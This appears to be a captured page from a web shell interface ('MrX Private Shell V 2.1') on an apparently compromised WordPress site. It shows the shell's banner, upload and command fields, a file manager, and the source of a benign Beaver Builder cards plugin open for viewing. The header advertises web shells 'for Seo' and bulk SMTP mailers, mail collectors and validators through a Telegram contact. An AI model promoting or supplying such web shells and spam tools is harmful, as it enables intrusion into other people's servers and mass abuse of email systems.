__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php
/**
 * Plugin Name:     Cards for Beaver Builder
 * Plugin URI:      https://www.brainstormforce.com/
 * Description:     This is a plugin for creating Awesome Bootstrap Card.
 * Author:          Pratik Chaskar
 * Author URI:      https://pratikchaskar.com
 * Text Domain:     bb-bootstrap-cards
 * Version:         1.1.6
 *
 * @package         BB-Bootstrap-Cards
 */

define( 'BB_BOOTSTRAPCARDS_DIR', plugin_dir_path( __FILE__ ) );
define( 'BB_BOOTSTRAPCARDS_URL', plugins_url( '/', __FILE__ ) );

/**
 * Custom modules
 */
// check of BSFBBBootstrapCards class already exist or not.
if ( ! class_exists( 'BSFBBBootstrapCards' ) ) {
	/**
	 * Class to check BB cards install
	 */
	class BSFBBBootstrapCards {

		/**
		 * Constructor
		 */
		function __construct() {
			add_action( 'init', array( $this, 'load_bootstrap_card' ) );
			add_action( 'init', array( $this, 'load_textdomain' ) );
		}

		/**
		 * Function to load BB Bootstrap Cards
		 */
		function load_bootstrap_card() {

			if ( class_exists( 'FLBuilder' ) ) {
				/**
				 * If class exist it loads the module
				 */
				require_once 'bb-bootstrap-cards-module/bb-bootstrap-cards-module.php';

			} else {
				/**
				 * Display admin notice for activating beaver builder
				 */
				add_action( 'admin_notices', array( $this, 'admin_notices_function' ) );
				add_action( 'network_admin_notices', array( $this, 'admin_notices_function' ) );

			}
		}

		/**
		 * Function to load text domain
		 */
		public function load_textdomain() {

			load_plugin_textdomain( 'bb-bootstrap-cards' );

		}

		/**
		 * Function to display admin notice
		 */
		function admin_notices_function() {

			/**
			 * Check for Beaver Builder Installed / Activated or not
			 */
			if ( file_exists( plugin_dir_path( 'bb-plugin-agency/fl-builder.php' ) )

				|| file_exists( plugin_dir_path( 'beaver-builder-lite-version/fl-builder.php' ) ) ) {

				$url = network_admin_url() . 'plugins.php?s=Beaver+Builder+Plugin';

			} else {

				$url = network_admin_url() . 'plugin-install.php?s=billyyoung&tab=search&type=author';

			}

			echo '<div class="notice notice-error">';

			/* Translators: Beaver Builder */
				echo '<p>' . sprintf( __( '<strong>Bootstrap Cards For Beaver Builder</strong> plugin requires <strong><a href="%s">Beaver Builder</strong></a> plugin installed & activated.', 'bb-bootstrap-cards' ), $url ) . '</p>';

			echo '</div>';
		}
	}

	new BSFBBBootstrapCards();
} // end if.

Filemanager

Name Type Size Permission Actions
assets Folder 0750
bb-bootstrap-cards-module Folder 0750
bb-bootstrap-cards.php.php File 2.4 KB 0640
readme.txt File 6.4 KB 0640
Filemanager